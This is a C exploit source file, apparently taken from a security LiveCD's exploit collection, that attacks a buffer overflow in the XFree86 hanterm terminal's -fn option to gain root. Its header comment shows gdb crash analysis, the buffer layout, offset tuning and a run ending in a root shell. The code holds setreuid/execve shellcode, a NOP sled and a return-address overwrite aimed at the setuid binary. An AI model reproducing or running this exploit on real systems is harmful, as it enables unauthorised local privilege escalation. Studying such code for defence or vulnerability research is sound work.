home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / 0x82-Local.hanterm.exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  170 lines

  1. /*
  2. **
  3. ** How to exploit?
  4. **
  5. ** [x82@xpl017elz x82]$ cp /usr/X11R6/bin/hanterm .
  6. ** [x82@xpl017elz x82]$ gdb -q hanterm
  7. ** (no debugging symbols found)...(gdb) r -display 61.xx.177.27:0 -fn `perl -e
  8. ** 'print "x"x80'`
  9. **  
  10. ** Starting program: /home/noname/hanterm -display 61.xx.177.27:0 -fn `perl -e
  11. ** 'print "x"x80'`
  12. ** (no debugging symbols found)...(no debugging symbols found)...
  13. ** (no debugging symbols found)...(no debugging symbols found)...
  14. ** (no debugging symbols found)...(no debugging symbols found)...
  15. ** (no debugging symbols found)...
  16. ** Program received signal SIGSEGV, Segmentation fault.
  17. ** 0x80520e6 in strcpy () at ../sysdeps/generic/strcpy.c:30
  18. ** 30      ../sysdeps/generic/strcpy.c: ▒╫╖▒ ╞─└╧└╠│¬ ╡≡╖║┼Σ╕«░í ╛°└╜.
  19. ** (gdb) info reg $esp
  20. ** esp            0xbfffe6b8       -1073748296
  21. ** (gdb) x/80 0xbffffb00
  22. ** 0xbffffb00:     0x65746e61      0x2d006d72      0x70736964      0x0079616c
  23. ** 0xbffffb10:     0x332e3136      0x37312e37      0x37322e37      0x2d00303a
  24. ** 0xbffffb20:     0x78006e66      0x78787878      0x78787878      0x78787878
  25. ** 0xbffffb30:     0x78787878      0x78787878      0x78787878      0x78787878
  26. ** 0xbffffb40:     0x78787878      0x78787878      0x78787878      0x78787878
  27. ** 0xbffffb50:     0x78787878      0x78787878      0x78787878      0x78787878
  28. ** 0xbffffb60:     0x78787878      0x78787878      0x78787878      0x78787878
  29. ** 0xbffffb70:     0x00787878      0x5353454c      0x4e45504f      0x656c7c3d
  30. **     ...             ...            ...              ...             ...
  31. ** 0xbffffc10:     0x2d2a2d36      0x3563736b      0x2e313036      0x37383931
  32. ** 0xbffffc20:     0x2d2c302d      0x6f6b2d2a      0x2d676964      0x6964656d
  33. ** 0xbffffc30:     0x722d6d75      0x726f6e2d      0x2d6c616d      0x2d38312d
  34. ** (gdb)                
  35. ** 
  36. ** Buffer Structure
  37. **
  38. ** [ data addr: 80byte ] + [ ebp addr: 4byte ] + [ ret addr: 4byte ] = 88byte
  39. **
  40. ** The return until the address the whole it contains and,
  41. ** it puts in an option. 
  42. **
  43. ** [x82@xpl017elz x82]$ ./exploit
  44. ** 
  45. ** XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit
  46. ** Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte
  47. ** 
  48. **                         Exploit made by Xpl017Elz
  49. ** 
  50. ** Display HOST_IP: 255.255.255.255:0
  51. ** Jumping Address: 0xbffffb74
  52. ** 
  53. ** Segmentation fault
  54. ** [x82@xpl017elz x82]$  
  55. **
  56. ** It calculates the offset. 
  57. ** Namely, when 0xbffffb20 from 0xbffffb70 until it catches in between, 
  58. ** it will be suitable.
  59. **
  60. ** [x82@xpl017elz x82]$ ./exploit -a 61.xx.177.27:0 -o 2370 -b 88
  61. ** 
  62. ** XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit
  63. ** Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte
  64. ** 
  65. **                         Exploit made by Xpl017Elz
  66. ** 
  67. ** Display HOST_IP: 61.xx.177.27:0
  68. ** Jumping Address: 0xbffffb26
  69. ** 
  70. ** bash#        
  71. **
  72. ** Ooops! it's rootshell :-)
  73. **
  74. ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
  75. ** My World: http://x82.i21c.net
  76. **
  77. */
  78.  
  79. #include <stdio.h>
  80. #include <stdlib.h>
  81.  
  82. #define NOP 0x90
  83. #define DFOFS 2400 
  84. #define DFIP "255.255.255.255:0"
  85. #define DFBUF 88 
  86.  
  87. /*
  88. ** [ data addr: 80byte ] + [ ebp addr: 4byte ] + [ ret addr: 4byte ] = 88byte
  89. */
  90.  
  91. char shellcode[] = /* 53byte shellcode */
  92. "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0); */
  93. "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46"
  94. "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
  95. "\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd"
  96. "\x80\xe8\xde\xff\xff\xff/bin/sh";
  97.  
  98. unsigned long sp(void) {
  99. __asm__("movl %esp,%eax");
  100. }
  101.  
  102. main(int argc, char *argv[]) {
  103.  
  104. int rufp, fpru, jobst,
  105.     ferbuf, num=DFBUF,
  106.     ofs=DFOFS;
  107.  
  108. long addr;
  109.  
  110. char buffer[2000],
  111.      hoip[] = DFIP;
  112.  
  113. extern char *optarg;
  114.  
  115. banrl();
  116.  
  117. while ((jobst = getopt(argc, argv, "a:o:b:")) !=EOF)
  118. switch (jobst) {
  119. case 'a': strcpy(hoip, optarg);
  120. break;
  121. case 'o': ofs = atoi(optarg);
  122. break;
  123. case 'b': num = atoi(optarg);
  124. break;
  125. case '?': usages(argv[0]); 
  126. exit(0);
  127. }
  128.  
  129. printf(" Display HOST_IP: %s\n",hoip);
  130. addr = sp() +ofs; // -ofs;
  131. printf(" Jumping Address: %p\n\n",addr); 
  132. ferbuf = num - sizeof(shellcode) -4;
  133.  
  134. bzero(&buffer,2000);
  135. for(rufp=0; rufp<=ferbuf; rufp++) {
  136. buffer[rufp] = NOP;
  137. }
  138.  
  139. for(fpru=0; fpru<=52; fpru++) {
  140. buffer[rufp++] = shellcode[fpru];
  141. }
  142. buffer[rufp++] =     addr & 0xff;
  143. buffer[rufp++] = addr>> 8 & 0xff;
  144. buffer[rufp++] = addr>>16 & 0xff;
  145. buffer[rufp++] = addr>>24 & 0xff;
  146.  
  147. execl("/usr/X11R6/bin/hanterm", "hanterm",
  148. "-display", hoip, "-fn", buffer, NULL);  
  149.  
  150. exit(0);
  151.  
  152. }
  153.  
  154. usages(char *var) {
  155.  
  156. printf("\n Usage:\n
  157.  %s -a [host_ip:0] -o [offset] -b [buffer size] (data addr~ return addr)\n",var);
  158. printf(" Default: %s -a 61.xx.177.27:0 -o 2400 -b 88\n\n",var); 
  159.  
  160. }
  161.  
  162. banrl() {
  163.  
  164. printf("\n XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit\n");
  165. printf(" Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte\n\n");
  166. printf("\t\t\t Exploit made by Xpl017Elz\n\n");
  167.  
  168. }
  169.  
  170.